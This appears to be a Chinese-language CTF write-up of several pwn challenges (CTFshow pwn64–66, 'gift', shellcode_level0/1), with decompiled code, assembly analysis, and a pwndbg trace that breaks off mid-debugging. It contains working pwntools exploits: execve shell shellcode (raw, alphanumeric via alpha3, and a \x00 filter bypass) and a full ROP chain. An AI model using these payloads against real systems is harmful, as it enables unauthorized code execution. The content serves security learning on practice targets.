hacking to the gate

CTFshow

pwn64

32位,开了栈不可执行

C:\Users\26597\Desktop\pwn附件>checksec pwn64
[*] 'C:\Users\26597\Desktop\pwn附件\pwn64'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

进入IDA分析

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
 void *buf; // [esp+8h] [ebp-10h]

 buf = mmap(0, 0x400u, 7, 34, 0, 0);
 alarm(0xAu);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(_bss_start, 0, 2, 0);
 puts("Some different!");
 if ( read(0, buf, 0x400u) < 0 )
{
   puts("Illegal entry!");
   exit(1);
}
((void (*)(void))buf)();
 return 0;
}

buf = mmap(0, 0x400u, 7, 34, 0, 0);

这里给到buf的权限值为7

也就是可读可写可执行

那就爽了

虽然栈不可执行,但是buf可读可写可执行

写个shellcode传入buf就好了

32位,exp:

from pwn import *
p = remote("pwn.challenge.ctf.show" ,28170)
payload = asm(shellcraft.sh())
p.sendline(payload)
p.interactive()


# from pwn import *
# p = remote("pwn.challenge.ctf.show" ,28170)
# payload = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
# p.sendline(payload)
# p.interactive()             换用成这个payload也行,反正都是shellcode
ctfshow@ubuntu:~/Desktop/xd$ python pwn64.py
[+] Opening connection to pwn.challenge.ctf.show on port 28170: Done
[*] Switching to interactive mode
Some different!
$ ls
bin
boot
ctfshow_flag
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
start.sh
sys
tmp
usr
var
[*] Got EOF while reading in interactive
$ cat ctfshow_flag
$  

但是莫名其妙的

明明通了,但是ls过后立马就EOF了

查佬博客,说是有计时器

纯手速呗()

直接cat就好了

ctfshow{fc607680-4116-49b5-9072-342b0cd71dd0}

pwn65

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn65'
   Arch:       amd64-64-little
   RELRO:      Full RELRO
   Stack:      No canary found
   NX:         NX unknown - GNU_STACK missing
   PIE:        PIE enabled
   Stack:      Executable
   RWX:        Has RWX segments
   Stripped:   No

PIE存在,无canary

RELRO全开,有RWX

无法反汇编,看main函数汇编代码:

.text:0000000000001155 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000001155
.text:0000000000001155 buf             = byte ptr -410h        "这里等价于void *buf; // [esp+8h] [ebp-410h]"
.text:0000000000001155 var_8           = dword ptr -8
.text:0000000000001155 var_4           = dword ptr -4
.text:0000000000001155
.text:0000000000001155 ; __unwind {
.text:0000000000001155                 push    rbp
.text:0000000000001156                 mov     rbp, rsp
.text:0000000000001159                 sub     rsp, 410h
.text:0000000000001160                 mov     edx, 14h        ; n
.text:0000000000001165                 lea     rsi, aInputYouShellc ; "Input you Shellcode\n"
.text:000000000000116C                 mov     edi, 1          ; fd
.text:0000000000001171                 mov     eax, 0
.text:0000000000001176                 call    _write
.text:000000000000117B                 lea     rax, [rbp+buf]       "Load Effective Address"
.text:0000000000001182                 mov     edx, 400h       ; nbytes
.text:0000000000001187                 mov     rsi, rax        ; buf
.text:000000000000118A                 mov     edi, 0          ; fd   "这三行得到的效果等价于read(0,buf,0x400)"
.text:000000000000118F                 mov     eax, 0                  
.text:0000000000001194                 call    _read "eax存储读到的字符串长度(_read的返回值为读取到的字符串的长度)"
.text:0000000000001199                 mov     [rbp+var_8], eax    "[rbp+var_8]赋值为eax,即读取到的字符数"
.text:000000000000119C                 cmp     [rbp+var_8], 0        "compare,cmp,比较[rbp+var_8]和0"
.text:00000000000011A0                 jg     short loc_11AC        "jg,jump if greater,大于则跳转,大于跳转到loc_11AC"
.text:00000000000011A2                 mov     eax, 0                 "如果不大于继续下面操作"
.text:00000000000011A7                 jmp     locret_1254            "跳转到locret_1254"
.text:00000000000011AC ; ---------------------------------------------------------------------------

这里有两个跳转路径,一个通向loc_11AC

另外一个通向locret_1254

先看底下那条路径,也就是1254

.text:0000000000001254 locret_1254:                            ; CODE XREF: main+52↑j
.text:0000000000001254                                         ; main+DF↑j
.text:0000000000001254                 leave
.text:0000000000001255                 retn

这里直接进行了leave后retn了

然后程序就此中断,所以只能走上面的路径

从loc_11AC跳转后,还会继续进行跳转

.text:00000000000011AC loc_11AC:                               ; CODE XREF: main+4B↑j
.text:00000000000011AC                 mov     [rbp+var_4], 0
.text:00000000000011B3                 jmp     loc_123A

loc_123A:

.text:000000000000123A loc_123A:                               ; CODE XREF: main+5E↑j
.text:000000000000123A                 mov     eax, [rbp+var_4]
.text:000000000000123D                 cmp     eax, [rbp+var_8]
.text:0000000000001240                 jl     loc_11B8               "jump if less"
.text:0000000000001246                 lea     rax, [rbp+buf]
.text:000000000000124D                 call    rax
.text:000000000000124F                 mov     eax, 0

cmp比较eax和[rbp+var_8] eax被复制为:[rbp+var_4]

这里得倒回去看loc_11AC,[rbp+var_4]被赋值为了0

所以这里的比较实则是0和[rbp+var_8]的比较

如果0比[rbp+var_8]小,则会跳转到loc_11B8

如果等于或相等则会继续操作

但是也知道[rbp+var_8]的内容就是我们输入的内容的长度

输入长度不可能小于或等于0的,因为我们需要传入shellcode

所以必然产生跳转,跳转进loc_11B8

.text:00000000000011B8 loc_11B8:                               ; CODE XREF: main+EB↓j
.text:00000000000011B8                 mov     eax, [rbp+var_4]
.text:00000000000011BB                 cdqe                           "Convert Doubleword to Quadword"
.text:00000000000011BD                 movzx   eax, [rbp+rax+buf]     "Move with Zero-Extend"  
.text:00000000000011C5                 cmp     al, 60h ; '`'
.text:00000000000011C7                 jle     short loc_11DA         "jump if less or equal"
.text:00000000000011C9                 mov     eax, [rbp+var_4]
.text:00000000000011CC                 cdqe              
.text:00000000000011CE                 movzx   eax, [rbp+rax+buf]
.text:00000000000011D6                 cmp     al, 7Ah ; 'z'
.text:00000000000011D8                 jle     short loc_1236

Convert Doubleword to Quadword:“将双字(32位)扩展为四字(64位)”

cdqe 指令将 32 位寄存器 eax 的值符号扩展到 64 位寄存器 rax 中。也就是说,它会根据 eax 的符号位(最高位)来填充 rax 的高 32 位。

  • 如果 eax 是正数或零,rax 的高 32 位会被填充为 0。
  • 如果 eax 是负数,rax 的高 32 位会被填充为 1(即保持负数的符号)。

Move with Zero-Extendmovzx 是一条数据移动指令,它的全称是 “Move with Zero-Extend”,意思是“移动并零扩展”。

movzx 指令将一个较小的数据类型(如 8 位、16 位或 32 位)的值移动到一个较大的数据类型(如 32 位或 64 位)的寄存器中,并用零填充高位。这确保了目标寄存器中的值是非负的。

现在已知[rbp+var_4]是0,eax赋值为[rbp+var_4],也是0了

cdqe指令过后,eax的值符号扩展到rax中,而eax的值为0,符号位上的值也就是0(表示非负)

也就是说rax的高32位会被0填充,低32位等于32位寄存器的eax的值

所以直接产生的效果是:rax的值仍然为0

然后再通过movzx指令赋值rbp+rax+buf的内容到eax中

_read 从标准输入读取了一些数据到 buf,那么 [rbp+buf] 中存储的是第一个字节的内容

rax又为0,所以直接的效果就是rbp+rax+buf = rbp + buf =标准输入进去并存储的第一个字节的内容

现在cmp就在对字节进行比较,al就是rax寄存器的低8位

而rax的低8位也就是其最末尾的低8位

al的值小于或等于0x60就会跳转loc_11DA

大于则继续执行

又一次eax赋值为[rbp+var_4],相当于确保eax的值仍然为0

类似的两步操作过后再进行比较,如果字符内容的16进制表达式小于或等于0x7A,就会跳转到loc_1236

.text:0000000000001236 loc_1236:                               ; CODE XREF: main+83↑j
.text:0000000000001236                                         ; main+A5↑j ...
.text:0000000000001236                 add     [rbp+var_4], 1

而loc_1236会将[rbp+var_4]加一

处理完后,会继续下一步指令

.text:000000000000123A
.text:000000000000123A loc_123A:                               ; CODE XREF: main+5E↑j
.text:000000000000123A                 mov     eax, [rbp+var_4]
.text:000000000000123D                 cmp     eax, [rbp+var_8]
.text:0000000000001240                 jl     loc_11B8
.text:0000000000001246                 lea     rax, [rbp+buf]
.text:000000000000124D                 call    rax
.text:000000000000124F                 mov     eax, 0

这里步入loc_123A后,把eax赋值为[rbp+var_4]

此时的[rbp+var_4]就从0变为了1,然后和[rbp+var_8]进行大小比较

[rbp+var_8]是读取到的字符串长度

所以会小于,跳转loc_11B8

就此循环往复

直到[rbp+var_4] = [rbp+var_8],也就是比较进行到最后一个字符串字符时,并完成整个流程后,才能步入lea rax,[rbp + buf]

最后进行call rax

所以对shellcode的限制就是输入的shellcode字符内容必须全部在0x60~0x7A

(当然还有另外两个判断路径,不再赘述,一个拿到的目标范围是0x2F~0X5A,一个是0X40~0X5A,合并起来就是0x2F~0X5A)

这个就是要求输入的shellcode为可见字符,利用alpha3生成

首先利用pwntools生成一个shellcode

from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

cd alpha3
python3 sc.py > sc

使用alpha3生成string.printable (这里得用 python2)

python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"

因为 call rax ,所以 base 是 rax,得到

Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H

最终exp:

from pwn import *
io = remote("pwn.challenge.ctf.show",28261)
payload = b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(payload)
io.interactive()

(不能用sendline,因为换行符是0x10,不在字符串可接受范围内)

pwn66

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\pwn66'
   Arch:       amd64-64-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        No PIE (0x400000)
   Stripped:   No

main函数看着是很普通的传入shellcode就能通的情况

但是存在一个检查机制

进入check函数

__

int64 __fastcall check(_BYTE *a1)
{
 _BYTE *i; // [rsp+18h] [rbp-10h]

 while ( *a1 )
{
   for ( i = &unk_400F20; *i && *i != *a1; ++i )
    ;
   if ( !*i )
     return 0LL;
   ++a1;
}
 return 1LL;
}

这段代码是一个函数 check,它的作用是检查输入的字符串 a1 中的每个字符是否都存在于一个特定的字符数组 unk_400F20 中。如果所有字符都存在,则返回 1,否则返回 0。以下是详细的逻辑解释:

1. 函数参数和局部变量

  • 参数
    • _BYTE *a1:指向输入字符串的指针。
  • 局部变量
    • _BYTE *i:用于遍历 unk_400F20 数组的指针。

2. 外层循环:遍历输入字符串 a1

while ( *a1 )
  • 这个循环会逐个检查输入字符串 a1 中的每个字符,直到遇到字符串的结束标志(即 *a1 == 0,表示字符串结束)。
  • a1 指针会逐个字符向后移动(++a1)。

3. 内层循环:检查当前字符是否在 unk_400F20

for ( i = &unk_400F20; *i && *i != *a1; ++i )
  • i 指针初始化为指向 unk_400F20 的起始位置。
  • 这个循环会逐个检查 unk_400F20 中的字符,直到:
    • 找到与当前 a1 指向的字符相同的字符(*i == *a1)。
    • 或者到达 unk_400F20 的末尾(*i == 0,表示数组结束)。

4. 判断逻辑

  • 如果在 unk_400F20 中找到了与当前 a1 指向的字符相同的字符(*i == *a1),则继续检查下一个字符(++a1)。
  • 如果在 unk_400F20 中没有找到与当前 a1 指向的字符相同的字符(*i == 0),则直接返回 0LL,表示输入字符串中有字符不在 unk_400F20 中。

5. 返回值

  • 如果输入字符串 a1 中的所有字符都在 unk_400F20 中,则循环会正常结束,函数返回 1LL
  • 如果输入字符串中有任何一个字符不在 unk_400F20 中,则函数会提前返回 0LL

总结

这个函数的作用是检查输入字符串 a1 中的每个字符是否都存在于一个预定义的字符数组 unk_400F20 中。如果所有字符都存在,则返回 1,否则返回 0

所以跟进unk_400F20

unk_400F20里面存在一定的字符

这种情况下有两种传入shellcode的方法

1.while(*a),也就是我们一般写代码的思路,遇到\x00就不校验了,所以如果shellcode以\x00开头就可以直接绕过

通过\x00绕过检查, 同时执行我们输入的shellcode就好,\x00B后面加上一个字符, 对应一个汇编语句。所以我们可以通过\x00B\x22、\x00B\x00 、\x00J\x00等等来绕过那个检查。

2.可见字符shellcode

这里给出的exp是绕过的方法

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28128)
shellcode = '\x00\xc0'  + asm(shellcraft.sh())
io.sendline(shellcode)
io.interactive()

其他题目

gift (gets✌)

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\复现平台\\basectf\\gift'
   Arch:       amd64-64-little
   RELRO:      Partial RELRO
   Stack:      Canary found
   NX:         NX unknown - GNU_STACK missing
   PIE:        No PIE (0x400000)
   Stack:      Executable
   RWX:        Has RWX segments
   SHSTK:      Enabled
   IBT:        Enabled
   Stripped:   No
from  pwn import *
from struct import pack
io = remote("gz.imxbt.cn",20215)
# Padding goes here
p = b''

p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000419484) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x000000000044a5e5) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401f2f) # pop rdi ; ret
p += pack('<Q', 0x00000000004c50e0) # @ .data
p += pack('<Q', 0x0000000000409f9e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x000000000047f2eb) # pop rdx ; pop rbx ; ret
p += pack('<Q', 0x00000000004c50e8) # @ .data + 8
p += pack('<Q', 0x4141414141414141) # padding
p += pack('<Q', 0x000000000043d350) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000471350) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401ce4) # syscall

payload = b'a' *(0x20+8) + p
io.sendlineafter("same",payload)
io.interactive()

第一次知道ROP链这种题目可以直接交给ROPgadget进行一把梭

ROPgadget --binary gift --ropchain

这样就好了

orz! (gets✌)

shellcode_level0

传入shellcode就可以

from pwn import *
p = remote("gz.imxbt.cn",20373)


shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
p.sendlineafter('shellcode:',shellcode)
p.interactive()

shellcode_level1

checksec

64位,考点很明显就是传shellcode

main函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
 void *buf; // [rsp+0h] [rbp-10h]

 buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
 if ( buf == (void *)-1LL )
{
   perror("mmap failed");
   return 1;
}
 else
{
   read(0, buf, 2uLL);
  ((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
   if ( munmap(buf, 0x1000uLL) == -1 )
  {
     perror("munmap failed");
     return 1;
  }
   else
  {
     return 0;
  }
}
}

buf区因为mmap函数,被判定为可读可写可执行

原本是可以直接传入shellcode进buf区的

但是

read(0, buf, 2uLL);

只能读两字节的buf区内容

((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);

这一行,让buf区的内容可以被当作一个函数来执行

但是我们仍然没办法利用buf区传入shellcode达到提权的效果

补药啊😫😫😫 两字节怎么写系统调用

丢掉工具,返璞归真。尝试着从汇编角度思考思考?

试着动态调试观察下寄存器的值?

题干如是说

所以倒回去看IDA和利用gdb进行动态调试

((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);

这一句,在反汇编之前的写法是:

.text:0000000000001255                 call    rcx

这句就是在把buf内容当函数进行执行

用gdb调试

gdb(io,'b *$ rebase(0x1255)' )             //$rebase在调试开PIE的程序的时候可以直接加上程序的随机地址

实际调试流程:

------- tip of the day (disable with set show-tips off) -------
Pwndbg mirrors some of Windbg commands like eq, ew, ed, eb, es, dq, dw, dd, db, ds for writing and reading memory
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX  0xfffffffffffffe00
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX  2
RDI  0
RSI  0x7f8da8956000 ◂— 0
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
RSP  0x7ffdb3a24198 —▸ 0x5638c4102240 (main+119) ◂— mov rsi, qword ptr [rbp - 0x10]
RIP  0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x7f8da88496dd <read+13>     cmp    rax, -0x1000     0xfffffffffffffe00 - -0x1000     EFLAGS => 0x206 [ cf PF af zf sf IF df of ]
  0x7f8da88496e3 <read+19>   ✔ ja     read+112                    <read+112>
   ↓                                                                                                                                                                  
  0x7f8da8849740 <read+112>    mov    rdx, qword ptr [rip + 0xe36b9]     RDX, [_GLOBAL_OFFSET_TABLE_+640] => 0xffffffffffffff88
  0x7f8da8849747 <read+119>    neg    eax
  0x7f8da8849749 <read+121>    mov    dword ptr fs:[rdx], eax           [0x7f8da87436c8] <= 0x200
  0x7f8da884974c <read+124>    mov    rax, 0xffffffffffffffff            RAX => 0xffffffffffffffff
  0x7f8da8849753 <read+131>    ret                                <main+119>
   ↓
  0x5638c4102240 <main+119>    mov    rsi, qword ptr [rbp - 0x10]     RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0
  0x5638c4102244 <main+123>    mov    rcx, rsi                        RCX => 0x7f8da8956000 ◂— 0
  0x5638c4102247 <main+126>    mov    rdx, 0x500                      RDX => 0x500
  0x5638c410224e <main+133>    mov    rax, 0                          RAX => 0
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a24198 —▸ 0x5638c4102240 (main+119) ◂— mov rsi, qword ptr [rbp - 0x10]
01:0008│-010 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0
02:0010│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
03:0018│ rbp 0x7ffdb3a241b0 ◂— 1
04:0020│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
05:0028│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
06:0030│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
07:0038│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x7f8da88496dd read+13
  1   0x5638c4102240 main+119
  2   0x7f8da876fd68 __libc_start_call_main+120
  3   0x7f8da876fe25 __libc_start_main+133
  4   0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg> fin
Run till exit from #0  0x00007f8da88496dd in __GI___libc_read (fd=0,
   buf=0x7f8da8956000, nbytes=2) at ../sysdeps/unix/sysv/linux/read.c:26
0x00005638c4102240 in main ()
Value returned is $1 = 2
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  2
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX  2
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
*RSP  0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP  0x5638c4102240 (main+119) ◂— mov rsi, qword ptr [rbp - 0x10]
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
  0x7f8da8849740 <read+112>    mov    rdx, qword ptr [rip + 0xe36b9]     RDX, [_GLOBAL_OFFSET_TABLE_+640] => 0xffffffffffffff88
  0x7f8da8849747 <read+119>    neg    eax
  0x7f8da8849749 <read+121>    mov    dword ptr fs:[rdx], eax           [0x7f8da87436c8] <= 0x200
  0x7f8da884974c <read+124>    mov    rax, 0xffffffffffffffff            RAX => 0xffffffffffffffff
  0x7f8da8849753 <read+131>    ret                                <main+119>
   ↓
► 0x5638c4102240 <main+119>    mov    rsi, qword ptr [rbp - 0x10]     RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102244 <main+123>    mov    rcx, rsi                        RCX => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102247 <main+126>    mov    rdx, 0x500                      RDX => 0x500
  0x5638c410224e <main+133>    mov    rax, 0                          RAX => 0
  0x5638c4102255 <main+140>    call   rcx                         <0x7f8da8956000>

  0x5638c4102257 <main+142>    mov    rax, qword ptr [rbp - 0x10]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x5638c4102240 main+119
  1   0x7f8da876fd68 __libc_start_call_main+120
  2   0x7f8da876fe25 __libc_start_main+133
  3   0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg> ni
0x00005638c4102244 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX  2
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da88496dd (read+13) ◂— cmp rax, -0x1000 /* 'H=' */
RDX  2
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
RSP  0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP  0x5638c4102244 (main+123) ◂— mov rcx, rsi
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
  0x7f8da8849747 <read+119>    neg    eax
  0x7f8da8849749 <read+121>    mov    dword ptr fs:[rdx], eax     [0x7f8da87436c8] <= 0x200
  0x7f8da884974c <read+124>    mov    rax, 0xffffffffffffffff     RAX => 0xffffffffffffffff
  0x7f8da8849753 <read+131>    ret                                <main+119>
   ↓
  0x5638c4102240 <main+119>    mov    rsi, qword ptr [rbp - 0x10]     RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
► 0x5638c4102244 <main+123>    mov    rcx, rsi                        RCX => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102247 <main+126>    mov    rdx, 0x500                      RDX => 0x500
  0x5638c410224e <main+133>    mov    rax, 0                          RAX => 0
  0x5638c4102255 <main+140>    call   rcx                         <0x7f8da8956000>

  0x5638c4102257 <main+142>    mov    rax, qword ptr [rbp - 0x10]
  0x5638c410225b <main+146>    mov    esi, 0x1000                     ESI => 0x1000
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
